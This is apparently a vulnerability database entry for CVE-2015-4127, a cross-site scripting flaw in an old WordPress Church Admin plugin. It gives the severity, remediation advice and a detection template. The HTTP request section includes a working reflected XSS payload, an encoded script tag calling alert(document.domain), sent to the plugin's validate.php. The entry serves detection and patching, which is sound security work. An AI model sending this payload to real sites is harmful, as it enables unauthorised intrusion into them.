🔙 목록으로 돌아가기

CVE-2015-4127: WordPress Church Admin <0.810 - Cross-Site Scripting

TitleWordPress Church Admin <0.810 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactAllows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
RemediationUpdate to the latest version of the WordPress Church Admin plugin (0.810 or higher) to mitigate this vulnerability.
CVSS Score4.3
EPSS Score0.01716
CVE IDCVE-2015-4127
CWE IDCWE-79
Tags cve2015 cve wp-plugin wp edb wpscan wordpress xss church_admin_project vuln

🔍 Vulnerability Description

WordPress Church Admin plugin before 0.810 allows remote attackers to inject arbitrary web script or HTML via the address parameter via index.php/2015/05/21/church_admin-registration-form/.

🌐 HTTP Request

GET /wp-content/plugins/church-admin/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Safari
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-4127.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-4127.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A